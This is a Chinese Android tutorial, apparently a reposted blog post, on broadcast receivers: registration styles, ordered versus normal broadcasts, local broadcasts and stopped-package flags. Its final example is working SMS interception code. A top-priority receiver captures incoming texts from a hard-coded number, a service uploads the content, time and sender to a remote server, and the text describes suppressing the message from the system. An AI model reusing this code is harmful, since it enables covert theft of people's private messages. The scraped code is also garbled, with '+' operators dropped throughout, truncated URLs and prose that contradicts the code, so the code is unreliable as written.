|
1.Android广播机制概述今天来看一下Android中的广播机制，我们知道广播Broadcast是android中的四大组件之一，可见他的重要性了，当然它的用途也很大的，比如一些系统的广播：电量低、开机、锁屏等一些操作都会发送一个广播 Android广播分为两个方面：广播发送者和广播接收者，通常情况下，BroadcastReceiver指的就是广播接收者（广播接收器）。
从实现原理看上，Android中的广播使用了观察者模式，基于消息的发布/订阅事件模型。因此，从实现的角度来看，Android中的广播将广播的发送者和接受者极大程度上解耦，使得系统能够方便集成，更易扩展。
由此看来，广播发送者和广播接收者分别属于观察者模式中的消息发布和订阅两端，AMS(Activity Manager Service)属于中间的处理中心。广播发送者和广播接收者的执行是异步的，发出去的广播不会关心有无接收者接收，也不确定接收者到底是何时才能接收到。显然，整体流程与EventBus非常类似。 在上文说列举的广播机制具体可以使用的场景中，现分析实际应用中的适用性：
2.自定义BroadcastReceiver自定义广播接收器需要继承基类BroadcastReceivre，并实现抽象方法onReceive(context, public class MyBroadcastReceiver extends BroadcastReceiver {
public static final String TAG = 'MyBroadcastReceiver';
public static int m = 1;
@Override
public void onReceive(Context context, Intent intent) {
Log.w(TAG, 'intent:' intent);
String name = intent.getStringExtra('name');
Log.w(TAG, 'name:' name ' m=' m);
m ;
Bundle bundle = intent.getExtras();
}
}
BroadcastReceiver注册类型BroadcastReceiver总体上可以分为两种注册类型：静态注册和动态注册。 广播被分为两种不同的类型：“普通广播（Normal broadcasts）”和“有序广播（Ordered broadcasts）”。
是完全异步的，可以在同一时刻（逻辑上）被所有广播接收者接收到，消息传递的效率比较高，但缺点是：接收者不能将处理结果传递给下一个接收者，并且无法终止广播Intent的传播；
是按照接收者声明的优先级别（声明在intent-filter元素的android:priority属性中，数越大优先级别越高,取值范围:-1000到1000。也可以调用IntentFilter对象的setPriority()进行设置），被接收者依次接收广播。如：A的级别高于B,B的级别高于C,那么，广播先传给A，再传给B，最后传给C。A得到广播后，可以往广播里存入数据，当广播传给B时,B可以从广播中得到A存入的数据。
发送的是普通广播，所有订阅者都有机会获得并进行处理。
发送的是有序广播，系统会根据接收者声明的优先级别按顺序逐个执行接收者，前面的接收者有权终止广播(BroadcastReceiver.abortBroadcast())，如果广播被前面的接收者终止，后面的接收者就再也无法获取到广播。对于有序广播，前面的接收者可以将处理结果存放进广播Intent，然后传给下一个接收者。 1).静态注册： <receiver android:enabled=['true' | 'false']
android:exported=['true' | 'false']
android:icon='drawable resource'
android:label='string resource'
android:name='string'
android:permission='string'
android:process='string' >
. . .
</receiver>
其中，需要注意的属性
常见的注册形式有： <receiver android:name='.MyBroadcastReceiver' >
<intent-filter>
<action android:name='android.net.conn.CONNECTIVITY_CHANGE' />
</intent-filter>
<intent-filter>
<action android:name='android.intent.action.BOOT_COMPLETED' />
</intent-filter>
</receiver>
其中，intent-filter由于指定此广播接收器将用于接收特定的广播类型。本示例中给出的是用于接收网络状态改变或开启启动时系统自身所发出的广播。当此App首次启动时，系统会自动实例化MyBroadcastReceiver，并注册到系统中。 之前常说：静态注册的广播接收器即使app已经退出，主要有相应的广播发出，依然可以接收到，但此种描述自Android 3.1开始有可能不再成立，具体分析详见本文后面部分。 2).动态注册： registerReceiver(BroadcastReceiver receiver, IntentFilter filter)
registerReceiver(BroadcastReceiver receiver, IntentFilter filter, String broadcastPermission, Handler scheduler)
典型的写法示例如下： public class MainActivity extends Activity {
public static final String BROADCAST_ACTION = 'com.example.corn';
private BroadcastReceiver mBroadcastReceiver;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
mBroadcastReceiver = new MyBroadcastReceiver();
IntentFilter intentFilter = new IntentFilter();
intentFilter.addAction(BROADCAST_ACTION);
registerReceiver(mBroadcastReceiver, intentFilter);
}
@Override
protected void onDestroy() {
super.onDestroy();
unregisterReceiver(mBroadcastReceiver);
}
}
注：Android中所有与观察者模式有关的设计中，一旦涉及到register，必定在相应的时机需要unregister。因此，上例在onDestroy()回到中需要unregisterReceiver(mBroadcastReceiver)。 当此Activity实例化时，会动态将MyBroadcastReceiver注册到系统中。当此Activity销毁时，动态注册的MyBroadcastReceiver将不再接收到相应的广播。 广播接收者（BroadcastReceiver）用于接收广播Intent，广播Intent的发送是通过调用Context.sendBroadcast()、Context.sendOrderedBroadcast()来实现的。通常一个广播Intent可以被订阅了此Intent的多个广播接收者所接收，这个特性跟JMS中的Topic消息接收者类似。要实现一个广播接收者方法如下： 第一步：定义广播接收者，继承BroadcastReceiver，并重写onReceive()方法。 public class IncomingSMSReceiver extends BroadcastReceiver {
@Override public void onReceive(Contextcontext, Intentintent) {
}
}
第二步：订阅感兴趣的广播Intent，订阅方法有两种：
IntentFilter filter = new IntentFilter('android.provider.Telephony.SMS_RECEIVED');
IncomingSMSReceiver receiver = new IncomingSMSReceiver();
registerReceiver(receiver, filter);
<receiver android:name='.IncomingSMSReceiver'>
<intent-filter>
<action android:name='android.provider.Telephony.SMS_RECEIVED'/>
</intent-filter>
</receiver>
下面看一下动态广播订阅和静态广播订阅的却别：
又叫：常驻型广播，当你的应用程序关闭了，如果有广播信息来，你写的广播接收器同样的能接受到，他的注册方式就是在你的应用程序中的AndroidManifast.xml进行订阅的。
又叫：非常驻型广播，当应用程序结束了，广播自然就没有了，比如你在activity中的onCreate或者onResume中订阅广播，同时你必须在onDestory或者onPause中取消广播订阅。不然会报异常，这样你的广播接收器就一个非常驻型的了。 这里面还有一个细节那就是这两种订阅方式，在发送广播的时候需要注意的是：动态注册的时候使用的是隐式intent方式的，所以在发送广播的时候需要使用隐式Intent去发送，不然是广播接收者是接收不到广播的，这一点要注意。但是静态订阅的时候，因为在AndroidMainfest.xml中订阅的，所以在发送广播的时候使用显示Intent和隐式Intent都可以(当然这个只针对于我们自己定义的广播接收者)，所以以防万一，我们一般都采用隐式Intent去发送广播。 下面看一下例子： 看一下项目结构： 看一下静态订阅广播: package com.broadcast.demo;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import com.example.androidbroadcastdemo.R;
/**
* 静态订阅广播
* @author weijiang204321
*
*/
public class StaticRegisterBroadcastActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Button btn = (Button)findViewById(R.id.btn);
btn.setOnClickListener(new OnClickListener(){
@Override
public void onClick(View v) {
//使用静态的方式注册广播，可以使用显示意图进行发送广播
Intent broadcast = new Intent('com.broadcast.set.broadcast');
sendBroadcast(broadcast,null);
}
});
}
}
在AndroidMainfest.xml中订阅: <?xml version='1.0' encoding='utf-8'?>
<manifest xmlns:android='http://schemas./apk/res/android'
package='com.example.androidbroadcastdemo'
android:versionCode='1'
android:versionName='1.0' >
<uses-sdk
android:minSdkVersion='8'
android:targetSdkVersion='18' />
<!-- 权限 -->
<uses-permission android:name='android.permission.RECEIVE_SMS'/>
<uses-permission android:name='android.permission.INTERNET'/>
<uses-permission android:name='android.permission.SEND_SMS'/>
<uses-permission android:name='android.permission.READ_PHONE_STATE' />
<application
android:allowBackup='true'
android:icon='@drawable/ic_launcher'
android:label='@string/app_name'
android:theme='@style/AppTheme' >
<activity
android:name='com.broadcast.demo.StaticRegisterBroadcastActivity'
android:label='@string/app_name' >
<intent-filter>
<action android:name='android.intent.action.MAIN' />
<category android:name='android.intent.category.LAUNCHER' />
</intent-filter>
</activity>
<!-- 无序广播注册START -->
<receiver android:name='com.broadcast.receiver.UnSortBroadcastReceiver'>
<intent-filter >
<action android:name='com.broadcast.demo.mybroadcast'/>
</intent-filter>
</receiver>
<!-- 无序广播注册END -->
<!-- 有序广播的注册START -->
<receiver android:name='com.broadcast.receiver.SortBroadcastReceiverA'>
<intent-filter android:priority='999'>
<action android:name='com.broadcast.set.broadcast'/>
</intent-filter>
</receiver>
<!-- 接收短信广播 -->
<receiver android:name='com.broadcast.receiver.SortBroadcastReceiverB'>
<intent-filter android:priority='1000'>
<action android:name='android.provider.Telephony.SMS_RECEIVED'/>
</intent-filter>
</receiver>
<!-- 有序广播的注册END -->
<!-- 上传短信内容的Service -->
<service android:name='com.broadcast.service.UploadSMSService'>
<intent-filter >
<action android:name='com.broadcast.service.uploadsmsservice'/>
</intent-filter>
</service>
</application>
</manifest>
先不要管其他的内容了，后面会讲到，这里只关注静态广播的注册 <!-- 无序广播注册START -->
<receiver android:name='com.broadcast.receiver.UnSortBroadcastReceiver'>
<intent-filter >
<action android:name='com.broadcast.demo.mybroadcast'/>
</intent-filter>
</receiver>
<!-- 无序广播注册END -->
下面来看一下广播的接收者: package com.broadcast.receiver;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
/**
* 广播接收者
* @author weijiang204321
*
*/
public class UnSortBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Log.e('Intent_Action:',intent.getAction() '');
}
}
在广播接收者中的onReceive方法中的逻辑很简单，就是打印Action的内容。 运行程序，结果很简单，这里就不上图片了。 下面来看一下动态订阅： package com.broadcast.demo;
import android.app.Activity;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import com.broadcast.receiver.UnSortBroadcastReceiver;
import com.example.androidbroadcastdemo.R;
/**
* 使用动态的方式注册广播
* @author weijiang204321
*
*/
public class DynamicRegisterBroadcastActivity extends Activity {
public static final String NEW_LIFEFORM_DETECTED = 'com.dxz.broadcasttest.NEW_LIFEFORM';
protected UnSortBroadcastReceiver receiver;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Button btn0 = (Button) findViewById(R.id.btn);
btn0.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
//发送广播
Intent it = new Intent(NEW_LIFEFORM_DETECTED);
sendBroadcast(it);
}
});
}
@Override
protected void onResume() {
super.onResume();
//注册广播
IntentFilter counterActionFilter = new IntentFilter(NEW_LIFEFORM_DETECTED);
receiver = new UnSortBroadcastReceiver();
registerReceiver(receiver, counterActionFilter);
}
@Override
protected void onPause() {
super.onPause();
//取消广播
unregisterReceiver(receiver);
}
}
这里我们是在onResume中进行订阅广播，在onPause中取消订阅广播。 AndroidMainfest.xml中将启动的Activity改成DynamicRegisterBroadcastActivity，其他的内容不需要修改，运行程序，打印结果很简单，这里就不上图了。 下面来看一下有序广播和无序广播 这个我们在开始的时候已经说到了，下面来看一下无序广播: 首先我们定义两个广播接收者: 第一个广播接收者: package com.broadcast.receiver;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
/**
* 广播接收者A
* @author weijiang204321
*
*/
public class SortBroadcastReceiverA extends BroadcastReceiver{
@Override
public void onReceive(Context context, Intent intent) {
Log.e('Demo:','广播接收者A');
}
}
第二个广播接收者: package com.broadcast.receiver;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
/**
* 广播接收者B
* @author weijiang204321
*
*/
public class SortBroadcastReceiverB extends BroadcastReceiver{
@Override
public void onReceive(Context context, Intent intent) {
Log.e('Demo:','广播B');
}
}
在AndroidMainfest.xml中订阅广播 [html] view plain copy
<receiver android:name='com.broadcast.receiver.SortBroadcastReceiverA'>
<intent-filter android:priority='999'>
<action android:name='com.broadcast.set.broadcast'/>
</intent-filter>
</receiver>
<receiver android:name='com.broadcast.receiver.SortBroadcastReceiverB'>
<intent-filter android:priority='1000'>
<action android:name='com.broadcast.set.broadcast'/>
</intent-filter>
</receiver>
运行结果: 运行结果有点奇怪，为什么是接收者B在前面，接收者A在后面，原因就是我们在AndroidMainfest.xml中订阅广播的时候在intent-filter设置了android:priority属性值，值越大优先级越高，接收者B的优先级是1000，接收者A的优先级是999,所以是B先接收到广播，然后A才接收到，但是接收者B和接收者A之间没有联系，也不能有交互的，因为是这是无序广播，是异步的，我们可以做个试验就是在B中的onReceiver方法中添加代码： abortBroadcast();//终止此次广播的传输 运行结果： 我们可以看到提示错误，就是non-ordered broadcast无序广播不允许终止广播，其实终止也没有用，因为接收者A还是接收到广播了。 下面来看一下有序广播，代码需要做一下修改： 首先是在发送广播的时候: Intent broadcast = new Intent('com.broadcast.set.broadcast');
sendOrderedBroadcast(broadcast,null);
然后在B接收者中的添加终止广播的方法: abortBroadcast(); 其他的代码不需要修改，运行结果： 只有B接收者了，A接收者没有接收到广播了，因为在B接收者中将广播给终止了，后面的接收者都接受不到了。 下面在修改一下代码： 接收者B： package com.broadcast.receiver;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
/**
* 广播接收者B
* @author weijiang204321
*/
public class SortBroadcastReceiverB extends BroadcastReceiver{
@Override
public void onReceive(Context context, Intent intent) {
Log.e('Demo:','广播接收者B');
Bundle bundle = new Bundle();
bundle.putString('next_receiver', '下一个广播接收者');
setResultExtras(bundle);
}
}
B接收到广播后，存入一些值，传给下一个接收者。 接收者A的代码： package com.broadcast.receiver;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
/**
* 广播接收者A
* @author weijiang204321
*/
public class SortBroadcastReceiverA extends BroadcastReceiver{
@Override
public void onReceive(Context context, Intent intent) {
Log.e('Demo:','广播接收者A');
Bundle bundle = getResultExtras(true);
String content = bundle.getString('next_receiver');
Log.e('Demo:',content '');
}
}
运行结果如下： 接收者A收到了上一个接收者B传递的信息，这个信息可以保留到后面的所有接收者，直到广播终止。 上面讲到的就是有序广播的特点，可以看出是一个同步的动作，接收者之间可以进行数据的交互(上一个传递数据给下一个)，也可以控制广播的终止。 3.广播发送及广播类型经常说”发送广播“和”接收“，表面上看广播作为Android广播机制中的实体，实际上这一实体本身是并不是以所谓的”广播“对象存在的，而是以”意图“（Intent）去表示。定义广播的定义过程，实际就是相应广播”意图“的定义过程，然后通过广播发送者将此”意图“发送出去。被相应的BroadcastReceiver接收后将会回调onReceive()函数。 下段代码片段显示的是一个普通广播的定义过程，并发送出去。其中setAction(..)对应于BroadcastReceiver中的intentFilter中的action。 Intent intent = new Intent();
intent.setAction(BROADCAST_ACTION);
intent.putExtra('name', 'qqyumidi');
sendBroadcast(intent);
下面分别总结下各种类型的发送方式及其特点。 1).Normal Broadcast：普通广播此处将普通广播界定为：开发者自己定义的intent，以context.sendBroadcast_”AsUser”(intent, …)形式。具体可以使用的方法有：
普通广播会被注册了的相应的感兴趣（intent-filter匹配）接收，且顺序是无序的。如果发送广播时有相应的权限要求，BroadCastReceiver如果想要接收此广播，也需要有相应的权限。 2).System Broadcast: 系统广播Android系统中内置了多个系统广播，只要涉及到手机的基本操作，基本上都会发出相应的系统广播。如：开启启动，网络状态改变，拍照，屏幕关闭与开启，点亮不足等等。每个系统广播都具有特定的intent-filter，其中主要包括具体的action，系统广播发出后，将被相应的BroadcastReceiver接收。系统广播在系统内部当特定事件发生时，有系统自动发出。 3)Ordered broadcast：有序广播有序广播的有序广播中的“有序”是针对广播接收者而言的，指的是发送出去的广播被BroadcastReceiver按照先后循序接收。有序广播的定义过程与普通广播无异，只是其的主要发送方式变为：sendOrderedBroadcast(intent, receiverPermission, …)。
4)Sticky Broadcast：粘性广播(在 android 5.0/api 21中deprecated,不再推荐使用，相应的还有粘性有序广播，同样已经deprecated)。 既然已经deprecated，此处不再多做总结。 5)Local Broadcast：App应用内广播(本地广播)（此处的App应用以App应用进程为界） 由前文阐述可知，Android中的广播可以跨进程甚至跨App直接通信，且注册是exported对于有intent-filter的情况下默认值是true，由此将可能出现安全隐患如下：
无论哪种情形，这些安全隐患都确实是存在的。由此，最常见的增加安全性的方案是：
App应用内广播可以理解成一种局部广播的形式，广播的发送者和接收者都同属于一个App。实际的业务需求中，App应用内广播确实可能需要用到。同时，之所以使用应用内广播时，而不是使用全局广播的形式，更多的考虑到的是Android广播机制中的安全性问题。 相比于全局广播，App应用内广播优势体现在：
为此，Android v4兼容包中给出了封装好的LocalBroadcastManager类，用于统一处理App应用内的广播问题，使用方式上与通常的全局广播几乎相同，只是注册/取消注册广播接收器和发送广播时将主调context变成了LocalBroadcastManager的单一实例。 使用方法： 通过LocalBroadcastManager的getInstance()方法获得实例，动态注册。 //registerReceiver(mBroadcastReceiver, intentFilter);
//注册应用内广播接收器
localBroadcastManager = LocalBroadcastManager.getInstance(this);
localBroadcastManager.registerReceiver(mBroadcastReceiver, intentFilter);
//unregisterReceiver(mBroadcastReceiver);
//取消注册应用内广播接收器
localBroadcastManager.unregisterReceiver(mBroadcastReceiver);
Intent intent = new Intent();
intent.setAction(BROADCAST_ACTION);
intent.putExtra('name', 'qqyumidi');
//sendBroadcast(intent);
//发送应用内广播
localBroadcastManager.sendBroadcast(intent);
private BroadcastReceiver mReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
if (null != intent && intent.getAction().equalsIgnoreCase(FILTER_CHANGE_XXX)) {
String filter = intent.getExtras().getString(KEY_XXX_FILTER);
resetFilter(filter);// Do Something
}
}
};
注册： LocalBroadcastManager.getInstance(getActivity()).registerReceiver(mReceiver, new IntentFilter(FILTER_CHANGE_XXX));
取消注册： LocalBroadcastManager.getInstance(getActivity()).unregisterReceiver(mReceiver);
4.不同注册方式的广播接收器回调onReceive(context, intent)中的context具体类型
5.不同Android API版本中广播机制相关API重要变迁1).Android5.0/API level 21开始粘滞广播和有序粘滞广播过期，以后不再建议使用； 2).”静态注册的广播接收器即使app已经退出，主要有相应的广播发出，依然可以接收到，但此种描述自Android 3.1开始有可能不再成立“ Android 3.1开始系统在Intent与广播相关的flag增加了参数，分别是FLAG_INCLUDE_STOPPED_PACKAGES和FLAG_EXCLUDE_STOPPED_PACKAGES。
主要原因如下： 自Android3.1开始，系统本身则增加了对所有app当前是否处于运行状态的跟踪。在发送广播时，不管是什么广播类型，系统默认直接增加了值为FLAG_EXCLUDE_STOPPED_PACKAGES的flag，导致即使是静态注册的广播接收器，对于其所在进程已经退出的app，同样无法接收到广播。 详情参加Android官方文档：http://developer./about/versions/android-3.1.html#launchcontrols
Intent intent = new Intent();
intent.setAction(BROADCAST_ACTION);
intent.addFlags(Intent.FLAG_INCLUDE_STOPPED_PACKAGES);
intent.putExtra('name', 'qqyumidi');
sendBroadcast(intent);
最近在开发第三方SDK，其中要发一条广播给设备上所有集成了SDK的应用，触发一些逻辑，可是遇到一个问题，当通过“应用管理器”将应用“强制停止”后，被停止的应用就无法接收到广播，静态注册的广播也没有用。查阅了相关资料发现了问题所在。 在android3.1以后的版本中，如果程序被强制停止后应用状态会被标记为STOPPED，此时应用无法收到其他应用的广播，要等到应用再开启一次，将STOPPED去掉以后才可以。除此之外还有一个解决方法如下： 解决办法：
示例代码： Intent intent = new Intent();
intent.setAction('com.leeliwei.test.receiver.action.test');
if (android.os.Build.VERSION.SDK_INT >= 12) {
intent.setFlags(32);//3.1以后的版本需要设置Intent.FLAG_INCLUDE_STOPPED_PACKAGES
}
sendBroadcast(intent);
完整广播示例：短信拦截系统在收到短信的时候，会发送一个：android.provider.Telephony.SMS_RECEIVED这样的广播，而且这是一个有序的广播，所以我们就可以拦截了这条短信，因为系统中的短信接收者的订阅优先级不是1000最高的，所以我们可以自己定义一个短信接收者，将订阅优先级设置成1000，这样我们就可以最先获取到短信内容，然后将截取到知道号码的短信内容上传到服务器上进行保存，然后终止广播。让系统接收不到这条短信。 这里面我们还需要了解的技术就是短信内容的获取，这个我们在代码中解释： 下面来看一下我们定义的短信接收者: package com.broadcast.receiver;
import java.text.SimpleDateFormat;
import java.util.Date;
import android.annotation.SuppressLint;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;
import com.broadcast.service.UploadSMSService;
/**
* 广播接收者A
* @author weijiang204321
*
*/
public class SortBroadcastReceiverA extends BroadcastReceiver{
@SuppressLint('SimpleDateFormat')
@Override
public void onReceive(Context context, Intent intent) {
//获取短信的相关信息,使用字段pdus
Object[] pdus = (Object[]) intent.getExtras().get('pdus');
StringBuilder content = new StringBuilder();
String receiveTime = '';
String senderNumber = '';
for(Object p : pdus){
byte[] pdu = (byte[]) p;
SmsMessage message = SmsMessage.createFromPdu(pdu);
content.append(message.getMessageBody());
Date date = new Date(message.getTimestampMillis());
SimpleDateFormat format = new SimpleDateFormat('yyyy-MM-dd HH:mm:ss');
receiveTime = format.format(date);
senderNumber = message.getOriginatingAddress();
}
Log.e('Demo:','上传短信内容是:' content.toString());
Log.e('Demo:','接收短信的时间是' receiveTime);
Log.e('Demo:','发送短信的号码是:' senderNumber);
//拦截的号码是:18910958627,注意前面还有 86是中国地区的编号
if(' 8618910958627'.equals(senderNumber)){
//拦截成功 ,上传信息
Intent service = new Intent(context,UploadSMSService.class);
service.putExtra('content', content.toString());
service.putExtra('receiveTime',receiveTime);
service.putExtra('senderNumber', senderNumber);
context.startService(service);
}
}
}
在onReceive方法中我们通过intent中的Bundle获取短信的相关信息。 下面在看一下上传短信信息的服务Service: package com.broadcast.service;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import android.app.Service;
import android.content.Intent;
import android.os.IBinder;
/**
* 上传短信内容的service
*
*/
public class UploadSMSService extends Service{
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
//获取短信内容和接收时间，发送者的号码
final String content = intent.getStringExtra('content');
final String receiveTime = intent.getStringExtra('receiveTime');
final String senderNumber = intent.getStringExtra('senderNumber');
new Thread(){
@Override
public void run(){
sendSMS(content,receiveTime,senderNumber);
//上传完成之后就结束service
stopSelf();
}
}.start();
return super.onStartCommand(intent, flags, startId);
}
/**
* 上传短信内容
* @param content
* @param receiveTime
* @param senderNumber
* @return
*/
private boolean sendSMS(String content, String receiveTime, String senderNumber) {
try{
String params = 'content=' URLEncoder.encode(content, 'UTF-8') '&receivetime=' receiveTime '&sendernumber=' senderNumber;
byte[] entity = params.getBytes();
String path = 'http://10.2.86.33:8080/ReceiveSMSContent/ReceiveSMSServlet';
HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();
conn.setConnectTimeout(5000);
conn.setRequestMethod('POST');
conn.setDoOutput(true);
conn.setRequestProperty('Content-Type', 'application/x-www-form-urlencoded');
conn.setRequestProperty('Content-Length', String.valueOf(entity.length));
conn.getOutputStream().write(entity);
if(conn.getResponseCode() == 200){
return true;
}
}catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
这个服务的逻辑也很简单的，在获取到短信信息的时候，将内容进行上传。 最后不能忘了在AndroidMainfest.xml中添加权限: <uses-permission android:name='android.permission.RECEIVE_SMS'/>
<uses-permission android:name='android.permission.INTERNET'/>
订阅短信广播: <receiver android:name='com.broadcast.receiver.SortBroadcastReceiverA'>
<intent-filter android:priority='999'>
<action android:name='android.provider.Telephony.SMS_RECEIVED'/>
</intent-filter>
</receiver>
当然这里还需要有一个短信内容的接收服务端,在服务端定义一个Servlet来接受数据，具体的服务端的环境搭建，自己上网搜索相关资料进行搭建: package com.servlet.receivesms;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class ReceiveSMSServlet extends HttpServlet{
private static final long serialVersionUID = 1L;
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException {
req.setCharacterEncoding('utf-8');
String content = req.getParameter('content');
String receiveTime = req.getParameter('receivetime');
String phoneNumber = req.getParameter('sendernumber');
System.out.println('发送内容:' content);
System.out.println('发送时间:' receiveTime);
System.out.println('发送号码:' phoneNumber);
super.doGet(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException {
super.doPost(req, resp);
}
}
测试结果，客户端拦截的号码是18910958627，注意前面有 86是中国区域的编码，服务端接收数据为: 这样就表示截取短信内容成功，并且成功上传到服务器上了。 对于上面的短信拦截的功能还有待加强，就是现在想把短信的内容拦截下来，进行篡改，然后再发给下一个接收者?
问题还没有解决，如果有哪位大神有好的方法，请说明! 总结: 在Android中，程序的响应（Responsive）被活动管理器（ActivityManager）和窗口管理器（Window Manager）这两个系统服务所监视。当BroadcastReceiver在10秒内没有执行完毕，Android会认为该程序无响应。所以在BroadcastReceiver里不能做一些比较耗时的操作，否侧会弹出ANR（Application No Response）的对话框。如果需要完成一项比较耗时的工作，应该通过发送Intent给Service，由Service来完成。而不是使用子线程的方法来解决，因为BroadcastReceiver的生命周期很短（在onReceive()执行后BroadcastReceiver 的实例就会被销毁），子线程可能还没有结束BroadcastReceiver就先结束了。如果BroadcastReceiver结束了，它的宿主进程还在运行，那么子线程还会继续执行。但宿主进程此时很容易在系统需要内存时被优先杀死，因为它属于空进程（没有任何活动组件的进程）。 public class IncomingSMSReceiver extends BroadcastReceiver {
@Override public void onReceive(Contextcontext, Intentintent) {
//发送Intent启动服务，由服务来完成比较耗时的操作
Intent service =new Intent(context,XxxService.class);
context.startService(service);
}
}
每次广播消息到来时都会创建BroadcastReceiver实例并执行onReceive() 方法。 所以上面的短信内容上传到服务器上的逻辑功能不能在广播中执行，需要开启一个服务进行上传。
|
|
|
来自： fishpan_oliver > 《待分类》
